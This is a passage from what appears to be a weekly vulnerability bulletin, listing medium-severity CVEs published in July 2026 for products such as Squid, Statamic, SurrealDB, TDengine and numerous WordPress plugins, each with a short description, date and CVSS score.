|                                                            | access the `/servicesNS/-/-/storage/passwords` REST endpoint through the ` rest` Search Processing Language (SPL) command.<br><br>The exposure happens because the ` rest` SPL command returns the `encr_password` field in the results of the `/servicesNS/-/-/storage/passwords` REST endpoint.                                                                                                                                                                                                                                                                                                                                                                                                                                  |            |            |                                |
| squid-cache--squid                                         | Squid is a caching proxy for the Web. Prior to 7.6, due to an improper validation of syntactic correctness of input in the FTP gateway (src/clients/FtpGateway.cc), Squid is vulnerable to an out-of-bounds read: when a listing entry date in the TypeA or TypeB directory-listing formats is not followed by a filename, parsing was not restricted to the input buffer, so a trusted client accessing a misbehaving FTP server through Squid's gateway feature could read memory from random unrelated transactions. This issue is fixed in version 7.6.                                                                                                                                                                        | 2026-07-16 | 6.5        | <a href="#">CVE-2026-47729</a> |
| squid-cache--squid                                         | Squid is a caching proxy for the Web. Prior to 7.6, due to an improper input validation bug in cache digest reply handling (peerDigestSwapInMask in src/peer_digest.cc), Squid is vulnerable to a heap-based buffer overflow: a cache digest's on-the-wire size may be larger than the mask_size declared within the digest, so a trusted peer sending a maliciously crafted reply to a cache_digest request message can trigger the overflow. This attack is limited to Squid instances compiled with the --enable-cache-digests option and configured with cache_peer entries. This issue is fixed in version 7.6.                                                                                                               | 2026-07-16 | 5.5        | <a href="#">CVE-2026-50012</a> |
| statamic--cms                                              | Statamic is a Laravel and Git powered content management system (CMS). Prior to 5.73.24 and 6.20.1, form submission values in src/Forms/Exporters/CsvExporter.php were not neutralized for spreadsheet formula characters when exported to CSV. A submission containing a value beginning with a formula trigger character, such as =, +, -, or @, could be interpreted as a live formula when a Control Panel user opens the export in a spreadsheet application. Form submissions can come from unauthenticated front-end visitors, so the malicious value can be supplied by an anonymous user and is later triggered by an editor opening the export. This issue is fixed in versions 5.73.24 and 6.20.1.                      | 2026-07-17 | 6.1        | <a href="#">CVE-2026-54243</a> |
| statamic--cms                                              | Statamic is a Laravel and Git powered content management system (CMS). Prior to 5.73.24 and 6.20.1, the Glide image proxy's URL validation in src/Imaging/RemoteUrlValidator.php and src/Imaging/GuzzleAdapter.php could be bypassed using DNS rebinding. The remote hostname was validated as publicly routable, but resolved again when the image was actually fetched, so an attacker controlling the hostname's DNS could rebind it to an internal address after validation and cause the server to make HTTP requests to internal addresses, including loopback, private network, and cloud metadata endpoints. This affects sites that pass user-supplied URLs to Glide. This issue is fixed in versions 5.73.24 and 6.20.1. | 2026-07-17 | 4.9        | <a href="#">CVE-2026-54242</a> |
| stellarwp--GiveWP Donation Plugin and Fundraising Platform | The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'twitter_message' Sequoia Template Setting in all versions up to, and including, 4.16.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with give worker-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The injected script executes specifically when a donor clicks the Share on Twitter button on the Sequoia donation confirmation view, as that is when the unescaped twitter_message value is evaluated inside the JavaScript template literal.   | 2026-07-16 | 6.4        | <a href="#">CVE-2026-14987</a> |
| Stirling-Tools--Stirling-PDF                               | Stirling-PDF is a locally hosted web application that facilitates various operations on PDF files. Prior to 2.0.0, Stirling-PDF's /get-info-on-pdf endpoint rendered PDF Title and Author metadata fields without proper HTML encoding or sanitization, allowing a crafted PDF to execute attacker-controlled JavaScript in the browser of a user who views the resulting page. This issue is fixed in version 2.0.0.                                                                                                                                                                                                                                                                                                              | 2026-07-15 | 6.1        | <a href="#">CVE-2026-41580</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| stoatchat--Stoat for Android | Stoat for Android exports the chat.stoat.activities.ShareTargetActivity component (reachable to any process on the device via the android.intent.action.SEND intent) and accepts the file to share as a URI supplied through the android.intent.extra.STREAM extra. The activity does not validate or filter the incoming URI before using it as the outgoing attachment, so a caller can pass a file:// URI pointing at the application's own internal storage (for example /data/data/chat.revolt/databases/revolt.db, cached authentication token files, or preferences) and have the app treat that internal file as a user-selected attachment. An attacker who can invoke intents on the victim's device (via ADB access, a co-installed malicious application, or any other route that reaches Android's intent dispatch) can launch ShareTargetActivity with such a URI and cause the victim, on a single channel-selection interaction, to send the internal file to any Stoat channel or user of the attacker's choosing. The composer displays the attachment as \"attachment\" with no filename indication, so the victim has no visible signal that the file being sent is their own internal application data. Consequences include disclosure of the local Stoat database (message history, contact list, cached content), disclosure of authentication tokens permitting full account takeover, and disclosure of any other file readable by the app process. | 2026-07-18 | 5.5        | <a href="#">CVE-2026-57848</a> |
| stoatchat--stoatchat         | stoatchat versions before 0.7.8 fail to enforce account creation restrictions including invite-only mode, email verification, captcha, and shield verification. Attackers can create unlimited accounts with unverified email addresses, increasing denial-of-service risk and compromising service integrity.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-16 | 6.5        | <a href="#">CVE-2024-58360</a> |
| surrealdb--surrealdb         | SurrealDB versions before 2.1.0 contain an uncaught exception vulnerability in the rand::time() function that panics when unwrap is called on a None result from timestamp_opt. Authorized clients can repeatedly invoke rand::time() to reliably trigger server panics and cause denial of service.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-18 | 6.5        | <a href="#">CVE-2024-58357</a> |
| surrealdb--surrealdb         | SurrealDB versions before 2.1.0 contain a denial of service vulnerability in the sorting mechanism when using ORDER BY rand() clause. Authorized clients can execute queries with ORDER BY rand() to trigger a panic in the sorting function, crashing the server.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-18 | 6.5        | <a href="#">CVE-2024-58359</a> |
| surrealdb--surrealdb         | SurrealDB versions before 2.0.4 contain an uncaught exception handling vulnerability in the parser error rendering code when processing empty strings. Authorized clients can execute malformed queries with empty string conversions to record, duration, or datetime types that cause a panic in error rendering, crashing the server.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-18 | 6.5        | <a href="#">CVE-2024-58361</a> |
| surrealdb--surrealdb         | SurrealDB before 1.5.4 fails to properly validate authentication when a scope user switches databases using the USE clause or use method. Attackers with an authenticated session can impersonate an unrelated user in a different database if a user record with an identical identifier exists, allowing unauthorized actions if permissions rely solely on the \$auth parameter.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-18 | 6.3        | <a href="#">CVE-2024-58363</a> |
| surrealdb--surrealdb         | SurrealDB versions before 1.2.1 contain an uncaught exception handling vulnerability in span rendering when parsing queries with errors on line terminator characters. Authorized clients can submit malformed queries that trigger a panic in the span rendering code, crashing the server and causing denial of service.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-18 | 6.5        | <a href="#">CVE-2024-58364</a> |
| surrealdb--surrealdb         | SurrealDB versions before 1.2.0 contain an uncaught exception vulnerability in the query executor when processing calls to nonexistent built-in functions. Authorized clients can craft pre-parsed queries invoking nonexistent functions to trigger a panic that crashes the server.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-18 | 6.5        | <a href="#">CVE-2024-58365</a> |
| surrealdb--surrealdb         | SurrealDB versions before 1.1.1 fail to properly validate invocation of custom parameters and functions at root or namespace levels, causing server panic. Authorized clients can invoke these entities at unsupported levels to crash the SurrealDB server, resulting in denial of service.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-18 | 6.5        | <a href="#">CVE-2024-58369</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| surrealdb--surrealdb      | SurrealDB versions before 1.1.0 fail to enforce recursion depth limits when parsing nested SurrealQL statements including IF, RELATE, and attribute access idioms. Authorized attackers can submit queries with excessive nesting depth to cause stack overflow and crash the server.                                                                                                                                                                                                               | 2026-07-18 | 6.5        | <a href="#">CVE-2024-58370</a> |
| surrealdb--surrealdb      | SurrealDB is a scalable, distributed, collaborative, document-graph database for the realtime web. Prior to 3.1.0, Document::purge_edges in surrealdb/core/src/doc/delete.rs automatically removed graph edge records with permissions disabled through opt.clone().with_perms(false) when a connected node was deleted, bypassing the edge table's PERMISSIONS FOR delete and PERMISSIONS FOR select clauses. This issue is fixed in version 3.1.0.                                                | 2026-07-15 | 5.4        | <a href="#">CVE-2026-49997</a> |
| surrealdb--surrealdb      | SurrealDB versions before 2.1.0 contain a denial of service vulnerability in role conversion that allows privileged owner users to define users with nonexistent roles. Attackers can trigger an uncaught panic by signing in with a user assigned an invalid role, crashing the server.                                                                                                                                                                                                            | 2026-07-18 | 4.9        | <a href="#">CVE-2024-58358</a> |
| surrealdb--surrealdb      | SurrealDB before 3.1.5 fail to apply field-level SELECT permissions to ORDER BY clauses, allowing authenticated users to leak the relative ordering of restricted field values. Attackers can issue ORDER BY queries on indexed restricted fields to recover the hidden values' sort order across records, even though the field itself returns null as intended.                                                                                                                                   | 2026-07-17 | 4.3        | <a href="#">CVE-2026-63309</a> |
| svgdotjs--svg.js          | A vulnerability was found in svgdotjs svg.js up to 3.2.5. This affects the function EventTarget.on of the file svgdotjs/svg.js of the component npm Package API. Performing a manipulation results in improperly controlled modification of object prototype attributes. The attack may be initiated remotely. The project was informed of the problem early through an issue report but has not responded yet.                                                                                     | 2026-07-14 | 6.3        | <a href="#">CVE-2026-15697</a> |
| tamagui--tamagui          | A security vulnerability has been detected in tamagui up to 2.3.0. This affects the function updateConfig of the file code/core/web/src/config.ts. Such manipulation leads to improperly controlled modification of object prototype attributes. The attack may be performed from remote. Upgrading to version 2.3.1 is able to mitigate this issue. The name of the patch is e46af9879b7627934ea4d6d6e46e65cea53abb3d. The affected component should be upgraded.                                  | 2026-07-14 | 6.3        | <a href="#">CVE-2026-15702</a> |
| Tangible--Loops & Logic   | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Tangible Loops & Logic tangible-loops-and-logic allows Stored XSS.This issue affects Loops & Logic: from n/a through <= 4.2.3.                                                                                                                                                                                                                                                                | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57391</a> |
| tanstack--db              | A vulnerability was detected in tanstack db up to 0.6.8. Affected by this vulnerability is the function select of the file src/query/compiler/select.ts of the component Alias Path Handler. The manipulation results in improperly controlled modification of object prototype attributes. The attack may be launched remotely. The exploit is now public and may be used. The patch is identified as ac09b1177a100eafa85cba3cd09dd1f53f933ded. A patch should be applied to remediate this issue. | 2026-07-13 | 4.3        | <a href="#">CVE-2026-15607</a> |
| taosdata--TDengine        | TDengine is a time-series database optimized for Internet of Things devices. Prior to 3.4.1.15, TDengine Enterprise allowed an authenticated low-privilege SQL user to run KILL SSMIGRATE <id> against an active shared-storage migration because mndProcessKillSsMigrateReq called mndKillSsMigrate while the intended MND_OPER_SSMIGRATE_DB privilege check was commented out. This issue is fixed in version 3.4.1.15.                                                                           | 2026-07-15 | 5.4        | <a href="#">CVE-2026-62348</a> |
| taosdata--TDengine        | TDengine is a time-series database optimized for Internet of Things devices. Prior to 3.4.1.14, source/libs/parser/src/parTokenizer.c tGetToken() incremented past a trailing backslash in a SQL string literal such as 'abc\' and read one byte beyond the null terminator, allowing an authenticated user who can submit SQL queries to                                                                                                                                                           | 2026-07-15 | 5.4        | <a href="#">CVE-2026-62353</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                             | crash the server and possibly leak adjacent memory. This issue is fixed in version 3.4.1.14.                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| taosdata--TDengine                                                                          | TDengine is an open source, time-series database optimized for Internet of Things devices. Prior to 3.4.1.15, a Data Reader admin_user on a TDengine Cloud DB instance could run create udf even though standard users should have read-only permissions for non-database objects and show dnodes and create user were denied. This issue is fixed in version 3.4.1.15.                                                                                                                                        | 2026-07-15 | 5.4        | <a href="#">CVE-2026-62355</a> |
| TecharoHQ--anubis                                                                           | Anubis is a Web AI Firewall Utility that challenges users' connections in order to protect upstream resources from scraper bots. From 1.22.0 until 1.26.0-pre1, lib/policy/checker.go PathChecker.Check() trusted the client-controlled X-Original-URI header before matching r.URL.Path, allowing an HTTP client to match default data/common/keep-internet-working.yaml ALLOW rules such as ^/\.well-known/.*\$ and bypass the Anubis challenge. This issue is fixed in version 1.26.0-pre1.                 | 2026-07-15 | 5.8        | <a href="#">CVE-2026-62314</a> |
| TheHive-Project--TheHive                                                                    | TheHive through 4.1.24 contains a broken object-level authorization vulnerability in the attachment download endpoints that allows any authenticated user to access attachments belonging to other organizations by supplying a content-hash identifier. Attackers can exploit the missing organization-scoped authorization check in AttachmentSrv.visible, which is implemented as a pass-through traversal, to download arbitrary attachments.                                                              | 2026-07-17 | 6.5        | <a href="#">CVE-2026-63099</a> |
| TheHive-Project--TheHive                                                                    | TheHive through 4.1.24 contains an unauthenticated information disclosure vulnerability that allows unauthenticated attackers to retrieve sensitive configuration data by sending a GET request to the /api/status endpoint, which lacks authentication enforcement in the StatusCtrl.scala handler. Attackers can obtain the datastore attachment protection password, configured authentication providers, SSO settings, MFA capabilities, and clustered node addresses and roles without any credentials.   | 2026-07-17 | 5.3        | <a href="#">CVE-2026-63098</a> |
| themeatelier--ChatHelp Click to Chat Button, WooCommerce Chat to Order & Floating Chat Form | The ChatHelp - Click to Chat Button, WooCommerce Chat to Order & Floating Chat Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'number' and 'group' Shortcode Attributes in all versions up to, and including, 3.5.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. | 2026-07-17 | 6.4        | <a href="#">CVE-2026-15759</a> |
| themebeez--Fascinate                                                                        | Missing Authorization vulnerability in themebeez Fascinate fascinate allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fascinate: from n/a through <= 1.1.5.                                                                                                                                                                                                                                                                                                          | 2026-07-13 | 5.3        | <a href="#">CVE-2026-57779</a> |
| Themefic--Tourfic                                                                           | Missing Authorization vulnerability in Themefic Tourfic tourfic allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Tourfic: from n/a through <= 2.22.5.                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57392</a> |
| Themefic--Tourfic                                                                           | Missing Authorization vulnerability in Themefic Tourfic tourfic allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Tourfic: from n/a through <= 2.22.5.                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57395</a> |
| themefusion--Avada (Fusion) Builder                                                         | The Avada (Fusion) Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Module Title' parameter in all versions up to, and including, 3.15.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                      | 2026-07-13 | 6.4        | <a href="#">CVE-2026-12536</a> |
| Themeisle--Auto Featured Image                                                              | Server-Side Request Forgery (SSRF) vulnerability in Themeisle Auto Featured Image (Auto Post Thumbnail) auto-post-thumbnail allows Server Side Request                                                                                                                                                                                                                                                                                                                                                         | 2026-07-13 | 4.9        | <a href="#">CVE-2026-61970</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product                                          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| (Auto Post Thumbnail)                                              | Forgery.This issue affects Auto Featured Image (Auto Post Thumbnail): from n/a through <= 5.0.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |            |            |                                |
| themelooks--FoodBook Lite Online Food Ordering System              | The FoodBook Lite - Online Food Ordering System plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.5.6. The registration() function, accessible via the wp_ajax_nopriv_registration_action AJAX action, lacks any nonce verification or capability check, and does not check the WordPress users_can_register option before calling wp_insert_user(). This makes it possible for unauthenticated attackers to create new user accounts with the 'customer' role and receive authentication cookies, even when the site administrator has explicitly disabled user registration.                                                                                                                                                                                                                      | 2026-07-14 | 5.3        | <a href="#">CVE-2026-11802</a> |
| ThemeMove--EduMall                                                 | Missing Authorization vulnerability in ThemeMove EduMall edumall allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects EduMall: from n/a through <= 4.5.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-13 | 4.3        | <a href="#">CVE-2026-57797</a> |
| themeum--Kirki Freeform Page Builder, Website Builder & Customizer | The Kirki - Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 6.0.13 via the 'family' parameter. This makes it possible for authenticated attackers, with editor-level access and above, to delete arbitrary directories on the server, which can result in loss of data and availability.                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-17 | 4.9        | <a href="#">CVE-2026-15457</a> |
| Themeum--Tutor LMS                                                 | Authorization Bypass Through User-Controlled Key vulnerability in Themeum Tutor LMS tutor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Tutor LMS: from n/a through <= 3.9.13.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57694</a> |
| themeum--Tutor LMS eLearning and online course solution            | The Tutor LMS - eLearning and online course solution plugin for WordPress is vulnerable to generic SQL Injection via Stored Quiz Answer Array in all versions up to, and including, 4.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The payload is stored at quiz-attempt time via the wp_ajax_tutor_quiz_abandon handler, but the injected SQL executes only when a privileged user or Tutor REST API key holder requests the /wp-json/tutor/v1/quiz-attempt-details/{id} endpoint, making this a second-order (stored) injection chain. | 2026-07-16 | 6.5        | <a href="#">CVE-2026-15022</a> |
| themifyme--Themify Builder                                         | The Themify Builder plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 7.7.7. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to overwrite or delete the generated CSS stylesheet file of arbitrary posts, including private and draft posts owned by other users, and modify plugin-scoped font options. The required CSRF nonce (tf_nonce) is emitted on public front-end builder pages via wp_localize_script, making it trivially obtainable by any authenticated user visiting such a page.                                                                                                                                                           | 2026-07-16 | 4.3        | <a href="#">CVE-2026-15407</a> |
| thimpress--WP Hotel Booking                                        | The WP Hotel Booking plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'check_in_date' parameter in all versions up to, and including, 2.3.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-17 | 6.1        | <a href="#">CVE-2026-15094</a> |
| tickera--Tickera Sell Tickets & Manage Events                      | The Tickera - Sell Tickets & Manage Events plugin for WordPress is vulnerable to generic SQL Injection via the 's' parameter in all versions up to, and including, 3.6.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-16 | 6.5        | <a href="#">CVE-2026-13754</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                      | SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |            |            |                                |
| tickera--Tickera<br>Sell Tickets &<br>Manage Events  | The Tickera - Sell Tickets & Manage Events plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'price_wrapper' Shortcode Attribute in all versions up to, and including, 3.6.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful execution of the injected script is limited to victims who have the referenced ticket ID present in their cart cookie, meaning the payload only fires for users who have previously added that ticket to their cart. | 2026-07-16 | 6.4        | <a href="#">CVE-2026-13755</a> |
| tomdever--wpForo<br>Forum                            | The wpForo Forum plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'location' Profile Field in all versions up to, and including, 3.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The sanitize_text_field() function applied at input does not encode double quotes, allowing attribute breakout via a payload that escapes the href attribute context and injects event handler attributes.                                                              | 2026-07-16 | 6.4        | <a href="#">CVE-2026-15021</a> |
| TomWright--dasel                                     | Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the escape sequence handler in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go increments past a trailing backslash in a quoted string such as "\"" or "\" and then reads p.src[pos] without a bounds check, allowing attacker-controlled selector strings to trigger a Go index-out-of-range panic. This issue is fixed in version 3.10.1.                                                                                                                                                                                                                  | 2026-07-16 | 6.2        | <a href="#">CVE-2026-46377</a> |
| TomWright--dasel                                     | Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the selector lexer matchRegexPattern closure in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go loops while tokenizing an unterminated regex literal such as r/ because peekRuneEqual returns false after the end of input, allowing attacker-controlled selector strings to consume CPU indefinitely. This issue is fixed in version 3.10.1.                                                                                                                                                                                                                | 2026-07-16 | 6.2        | <a href="#">CVE-2026-46378</a> |
| tornadoweb--<br>tornado                              | Tornado is a Python web framework and asynchronous networking library. Prior to 6.5.6, the optional native extension tornado.speedups implemented websocket_mask without validating that the mask argument is exactly four bytes, allowing the C function to read up to three bytes beyond the provided buffer when reached through Tornado XSRF token decoding with the native extension active. This issue is fixed in version 6.5.6.                                                                                                                                                                                                                                                           | 2026-07-14 | 5.3        | <a href="#">CVE-2026-49854</a> |
| tugcantopaloglu--<br>godot-mcp                       | A security flaw has been discovered in tugcantopaloglu godot-mcp 2.0.0. Affected by this vulnerability is the function validatePath of the file build/index.js of the component run_project. The manipulation of the argument projectPath results in path traversal. Attacking locally is a requirement. The exploit has been released to the public and may be used for attacks. Upgrading to version 3.0.0 addresses this issue. The patch is identified as eb63add552aa4bd9205395cf91b40654654a3cf2. It is suggested to upgrade the affected component.                                                                                                                                        | 2026-07-13 | 5.3        | <a href="#">CVE-2026-15522</a> |
| TXOne Networks--<br>SafePortAgent                    | Improper Access Control vulnerability in the Removable Media Validation function of TXOne Networks products allows a local attacker with administrator privileges to bypass the file lockdown mechanism, resulting in unauthorized file transfer to the victim device. The attacker needs to deploy unauthorized file on the removable media in advance. This issue affects SafePortAgent: before 3.2.5024; StellarProtect: from 3.2.4011 before 5.0.1083.                                                                                                                                                                                                                                        | 2026-07-17 | 4.4        | <a href="#">CVE-2026-41993</a> |
| Ultimate Fosters--<br>Perfect Support<br>Ticketing & | Perfect Support Ticketing & Document Management System through 1.7 contains a stored cross-site scripting vulnerability that allows authenticated attackers with Agent-level privileges to inject malicious payloads into the Notes field of assigned                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-16 | 5.4        | <a href="#">CVE-2026-63081</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                              | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Document Management System                                                                             | support tickets. Attackers can store malicious scripts that execute in the browser context of any user who views the affected ticket notes, including Superadmin users, enabling session hijacking or unauthorized actions on behalf of the victim.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |            |            |                                |
| Ultimate Fosters--Perfect Support Ticketing & Document Management System                               | Perfect Support Ticketing & Document Management System through 1.7 contains a broken access control vulnerability that allows authenticated attackers with Agent-level privileges to manipulate the Support Agent assignment field of tickets by bypassing intended authorization checks. Attackers can add or remove any user, including Superadmin accounts, from the Support Agent field of any ticket to which they are assigned, circumventing role-based access controls.                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-16 | 5.4        | <a href="#">CVE-2026-63082</a> |
| umarbajwa--Landing Page Builder Coming Soon page, Maintenance Mode, Lead Page, WordPress Landing Pages | The Landing Page Builder - Coming Soon page, Maintenance Mode, Lead Page, WordPress Landing Pages plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.5.3.6. This is due to missing or incorrect nonce validation on the ulpb_admin_ajax function. This makes it possible for unauthenticated attackers to create, update, retitle, or change the post status, slug, and type of arbitrary posts and write ULPB_DATA post meta via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. This attack requires the victim to hold an editor-level or administrator session, as the wp_ajax_ulpb_admin_data action enforces a capability check that the forged request must satisfy by inheriting the logged-in user's session cookies. | 2026-07-16 | 4.3        | <a href="#">CVE-2026-12409</a> |
| usestrix--strix                                                                                        | A vulnerability was found in usestrix strix up to 1.0.2. This affects an unknown function of the file system_prompt.jinja of the component PyPI Handler. Performing a manipulation results in inclusion of functionality from untrusted control sphere. The attack is possible to be carried out remotely. The complexity of an attack is rather high. The exploitability is reported as difficult. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                            | 2026-07-13 | 5          | <a href="#">CVE-2026-15519</a> |
| ViewComponent--view_component                                                                          | view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 4.0.0 until 4.12.0, ViewComponent::Base instances retain render-scoped objects across calls to render_in; if the same component, collection, or spacer component instance is reused across requests, users, tenants, or threads, later renders can use stale helpers, controller, request, view_flow, format/variant details, and slot child context from an earlier render. This can cause authorization-aware components to render privileged UI for a lower-privileged user, generate links using a stale Host header, leak slot/helper state, and mix request context under concurrent rendering. This issue is fixed in version 4.12.0.                                                                                     | 2026-07-17 | 6.8        | <a href="#">CVE-2026-54497</a> |
| VillaTheme--Abandoned Cart Recovery for WooCommerce                                                    | Authentication Bypass Using an Alternate Path or Channel vulnerability in VillaTheme Abandoned Cart Recovery for WooCommerce woo-abandoned-cart-recovery allows Authentication Abuse.This issue affects Abandoned Cart Recovery for WooCommerce: from n/a through <= 1.1.12.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57698</a> |
| vowelweb--VW Food Corner                                                                               | Missing Authorization vulnerability in vowelweb VW Food Corner vw-food-corner allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects VW Food Corner: from n/a through <= 1.1.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-13 | 5.3        | <a href="#">CVE-2026-57774</a> |
